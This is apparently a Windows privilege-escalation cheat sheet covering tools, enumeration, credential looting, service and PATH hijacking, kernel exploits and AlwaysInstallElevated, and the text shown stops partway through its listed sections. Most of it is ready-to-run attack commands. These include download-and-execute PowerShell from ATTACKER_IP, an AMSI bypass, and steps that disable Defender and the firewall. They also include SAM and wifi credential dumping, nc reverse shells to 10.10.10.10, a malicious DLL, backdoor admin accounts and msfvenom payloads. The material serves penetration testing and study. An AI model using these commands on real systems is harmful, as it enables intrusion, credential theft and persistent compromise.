windows-privilege-escalation
Summary
- Tools
- Windows Version and Configuration
- User Enumeration
- Network Enumeration
- Antivirus & Detections
- Windows Defender
- Firewall
- AppLocker Enumeration
- Powershell
- Default Writeable Folders
- EoP — Looting for passwords
- SAM and SYSTEM files
- HiveNightmare
- Search for file contents
- Search for a file with a certain filename
- Search the registry for key names and passwords
- Passwords in unattend.xml
- Wifi passwords
- Sticky Notes passwords
- Passwords stored in services
- Powershell History
- Powershell Transcript
- Password in Alternate Data Stream
- EoP — Processes Enumeration and Tasks
- EoP — Incorrect permissions in services
- EoP — Windows Subsystem for Linux (WSL)
- EoP — Unquoted Service Paths
- EoP — $PATH Interception
- EoP — Named Pipes
- EoP — Kernel Exploitation
- EoP — AlwaysInstallElevated
- EoP — Insecure GUI apps
- EoP — Evaluating Vulnerable Drivers
- EoP — Printers
- Universal Printer
- Bring Your Own Vulnerability
- EoP — Runas
- EoP — Abusing Shadow Copies
- EoP — From local administrator to NT SYSTEM
- EoP — Living Off The Land Binaries and Scripts
- EoP — Impersonation Privileges
- Restore A Service Account’s Privileges
- Meterpreter getsystem and alternatives
- RottenPotato (Token Impersonation)
- Juicy Potato (Abusing the golden privileges)
- Rogue Potato (Fake OXID Resolver))
- EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
- EoP — Privileged File Write
- DiagHub
- UsoDLLLoader
- WerTrigger
- EoP — Common Vulnerabilities and Exposures
- MS08-067 (NetAPI)
- MS10-015 (KiTrap0D)
- MS11-080 (adf.sys)
- MS15-051 (Client Copy Image)
- MS16-032
- MS17-010 (Eternal Blue)
- CVE-2019-1388
- EoP — $PATH Interception
- References
Tools
-
PowerSploit’s PowerUp
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
-
Watson — Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
-
(Deprecated) Sherlock — PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
-
BeRoot — Privilege Escalation Project — Windows / Linux / Mac
-
Windows-Exploit-Suggester
./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
-
windows-privesc-check — Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
-
WindowsExploits — Windows exploits, mostly precompiled. Not being updated.
-
WindowsEnum — A Powershell Privilege Escalation Enumeration Script.
-
Seatbelt — A C# project that performs a number of security oriented host-survey «safety checks» relevant from both offensive and defensive security perspectives.
Seatbelt.exe -group=all -full Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt" Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
-
Powerless — Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind
-
JAWS — Just Another Windows (Enum) Script
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
-
winPEAS — Windows Privilege Escalation Awesome Script
-
Windows Exploit Suggester — Next Generation (WES-NG)
# First obtain systeminfo systeminfo systeminfo > systeminfo.txt # Then feed it to wesng python3 wes.py --update-wes python3 wes.py --update python3 wes.py systeminfo.txt
-
PrivescCheck — Privilege Escalation Enumeration Script for Windows
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck" C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended" C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
-
juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.
-
Potato: Potato Privilege Escalation on Windows 7, 8, 10, Server 2008, Server 2012.
-
PowerSploit: PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.
-
PrivescCheck: Enumerate common Windows security misconfigurations which can be leveraged for privilege escalation and gather various information which might be useful for exploitation and/or post-exploitation, by itm4n
-
RoguePotato: Another Windows Local Privilege Escalation from Service Account to System by splinter_code/antonioCoco
-
RottenPotato: RottenPotato local privilege escalation from service account to SYSTEM. (No longer maintained)
-
RottenPotatoNG: New version of RottenPotato as a C++ DLL and standalone C++ binary — no need for meterpreter or other tools.
-
SessionGopher: SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools.
-
Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. (Deprecated)
-
SweetPotato: Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019 by CCob
-
Tater: Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.
-
WinPwnage: UAC bypass, Elevate, Persistence and Execution methods. The goal of this repo is to study the Windows penetration techniques.
Windows Version and Configuration
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Extract patchs and updates
Architecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
List all env variables
set Get-ChildItem Env: | ft Key,Value
List all drives
wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
User Enumeration
Get current username
echo %USERNAME% || whoami $env:username
List user privilege
whoami /priv whoami /groups
List all users
net user whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name
List logon requirements; useable for bruteforcing
Get details about a user (i.e. administrator, admin, current user)
net user administrator net user admin net user %USERNAME%
List all local groups
net localgroup Get-LocalGroup | ft Name
Get details about a group (i.e. administrators)
net localgroup administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
Get Domain Controllers
nltest /DCLIST:DomainName nltest /DCNAME:DomainName nltest /DSGETDC:DomainName
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft
List current routing table
route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
List all current connections
List all network shares
net share powershell Find-DomainShare -ComputerDomain domain.local
SNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Antivirus & Detections
Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Windows Defender
# check status of Defender PS C:\> Get-MpComputerStatus # disable scanning all downloaded files and attachments, disable AMSI (reactive) PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus PS C:\> Set-MpPreference -DisableIOAVProtection $true # disable AMSI (set to 0 to enable) PS C:\> Set-MpPreference -DisableScriptScanning 1 # exclude a folder PS C:\> Add-MpPreference -ExclusionPath "C:\Temp" PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks" PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe" # remove signatures (if Internet connection is present, they will be downloaded again): PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
Firewall
List firewall state and current configuration
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
List firewall’s blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
Disable firewall
# Disable Firewall on Windows 7 via cmd reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f # Disable Firewall on Windows 7 via Powershell powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'` # Disable Firewall on any windows via cmd netsh firewall set opmode disable netsh Advfirewall set allprofiles state off
AppLocker Enumeration
- With the GPO
- HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script).
-
List AppLocker rules
PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
-
Applocker Bypass
- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
Powershell
Default powershell locations in a Windows system.
C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Powershell Constrained Mode
# Check if we are in a constrained mode $ExecutionContext.SessionState.LanguageMode PS > &{ whoami } powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')" # PowerShDLL - Powershell with no Powershell.exe via DLL’s # https://github.com/p3nt4/PowerShdll ftp> rundll32.exe C:\temp\PowerShdll.dll,main
Example of AMSI Bypass.
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
Default Writeable Folders
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\Windows\tracing C:\Windows\Temp C:\Users\Public
EoP — Looting for passwords
SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
# Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
Generate a hash file for John using pwdump
or samdump2
.
pwdump SYSTEM SAM > /root/sam.txt samdump2 SYSTEM SAM -o sam.txt
Either crack it with john -format=NT /root/sam.txt
or use Pass-The-Hash.
HiveNightmare
CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using icacls
C:\Windows\System32> icacls config\SAM config\SAM BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
mimikatz> token::whoami /full # List shadow copies available mimikatz> misc::shadowcopies # Extract account from SAM databases mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM # Extract secrets from SECURITY mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.*
Search for a file with a certain filename
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini
Search the registry for key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
Read a value of a certain sub key
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
Passwords in unattend.xml
Location of the unattend.xml files.
C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
.
Example content
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64"> <AutoLogon> <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password> <Enabled>true</Enabled> <Username>Administrateur</Username> </AutoLogon> <UserAccounts> <LocalAccounts> <LocalAccount wcm:action="add"> <Password>*SENSITIVE*DATA*DELETED*</Password> <Group>administrators;users</Group> <Name>Administrateur</Name> </LocalAccount> </LocalAccounts> </UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d SecretSecurePassword1234*
The Metasploit module post/windows/gather/enum_unattend
looks for these files.
IIS Web config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Other files
%SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts C:\ProgramData\Configs\* C:\Program Files\Windows PowerShell\* dir c:*vnc.ini /s /b dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
Get Cleartext Pass
netsh wlan show profile <SSID> key=clear
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Sticky Notes passwords
The sticky notes app stores it’s content in a sqlite db located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Powershell History
Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing
.
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw
Powershell Transcript
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
Password in Alternate Data Stream
PS > Get-Item -path flag.txt -Stream * PS > Get-Content -path flag.txt -Stream Flag
EoP — Processes Enumeration and Tasks
-
What processes are running?
tasklist /v net start sc query Get-Service Get-Process Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
-
Which processes are running as «system»
tasklist /v /fi "username eq system"
-
Do you have powershell magic?
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
-
List installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
-
List services
net start wmic service list brief tasklist /SVC
-
Enumerate scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
-
Startup tasks
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
EoP — Incorrect permissions in services
A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
-
Orphaned installs, not installed anymore but still exist in startup
-
DLL Hijacking
# find missing DLL - Find-PathDLLHijack PowerUp.ps1 - Process Monitor : check for "Name Not Found" # compile a malicious dll - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll" - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll" # content of windows_dll.c #include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt"); ExitProcess(0); } return TRUE; }
-
PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions
Note to check file permissions you can use cacls
and icacls
icacls (Windows Vista +)
cacls (Windows XP)
You are looking for BUILTIN\Users:(F)
(Full access), BUILTIN\Users:(M)
(Modify access) or BUILTIN\Users:(W)
(Write-only access) in the output.
Example with Windows 10 — CVE-2019-1322 UsoSvc
Prerequisite: Service account
PS C:\Windows\system32> sc.exe stop UsoSvc PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe qc usosvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: usosvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Update Orchestrator Service DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem PS C:\Windows\system32> sc.exe start UsoSvc
Example with Windows XP SP1 — upnphost
# NOTE: spaces are mandatory for this exploit to work ! sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost sc config upnphost depend= "" net start upnphost
If it fails because of a missing dependency, try the following commands.
sc config SSDPSRV start=auto net start SSDPSRV net stop upnphost net start upnphost sc config upnphost depend=""
Using accesschk
from Sysinternals or accesschk-XP.exe — github.com/phackt
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS $ accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS $ sc config <vuln-service> binpath="net user backdoor backdoor123 /add" $ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" $ sc stop <vuln-service> $ sc start <vuln-service> $ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add" $ sc stop <vuln-service> $ sc start <vuln-service>
EoP — Windows Subsystem for Linux (WSL)
Technique borrowed from Warlockobama’s tweet
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don’t know the root password? No problem just set the default user to root W/ .exe —default-user root. Now start your bind shell or reverse.
wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Binary bash.exe
can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Alternatively you can explore the WSL
filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
EoP — Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
- Metasploit exploit :
exploit/windows/local/trusted_service_path
- PowerUp exploit
# find the vulnerable application C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks" ... [*] Checking for unquoted service paths... ServiceName : BBSvc Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe StartName : LocalSystem AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath> ... # automatic exploit Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
Example
For C:\Program Files\something\legit.exe
, Windows will try the following paths first:
C:\Program.exe
C:\Program Files.exe
EoP — $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is before the folder that contains the legitimate binary.
EXAMPLE:
# List contents of the PATH environment variable # EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32 $env:Path # See permissions of the target folder # EXAMPLE OUTPUT: BUILTIN\Users: GR,GW icacls.exe "C:\Program Files\nodejs\" # Place our evil-file in that folder. copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
Because (in this example) «C:\Program Files\nodejs» is before «C:\WINDOWS\system32» on the PATH variable, the next time the user runs «cmd.exe», our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
EoP — Named Pipes
- Find named pipes:
[System.IO.Directory]::GetFiles("\\.\pipe\")
- Check named pipes DACL:
pipesec.exe <named_pipe>
- Reverse engineering software
- Send data throught the named pipe :
program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe
EoP — Kernel Exploitation
List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits
#Security Bulletin #KB #Description #Operating System
- MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
- CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
- CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
- MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
- MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
- MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
- MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
- MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
- MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
- MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
- MS16-014 [K3134228] [remote code execution] (2008/Vista/7)
… - MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
To cross compile a program from Kali, use the following command.
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
EoP — AlwaysInstallElevated
Check if these registry values are set to «1».
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated $ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated $ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer $ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
Then create an MSI package and install it.
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi $ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi $ msiexec /quiet /qn /i C:\evil.msi
Technique also available in :
- Metasploit :
exploit/windows/local/always_install_elevated
- PowerUp.ps1 :
Get-RegistryAlwaysInstallElevated
,Write-UserAddMSI
EoP — Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: «Windows Help and Support» (Windows + F1), search for «command prompt», click on «Click to open Command Prompt»
EoP — Evaluating Vulnerable Drivers
Look for vuln drivers loaded, we often don’t spend enough time looking at this:
# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery PS C:\Users\Swissky> driverquery.exe /fo table Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM 3ware 3ware Kernel 5/18/2015 6:28:03 PM ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM <SNIP> PS C:\Users\Swissky> DriverQuery.exe --no-msft [+] Enumerating driver services... [+] Checking file signatures... Citrix USB Filter Driver Service Name: ctxusbm Path: C:\Windows\system32\DRIVERS\ctxusbm.sys Version: 14.11.0.138 Creation Time (UTC): 17/05/2018 01:20:50 Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US <SNIP>
EoP — Printers
Universal Printer
Create a Printer
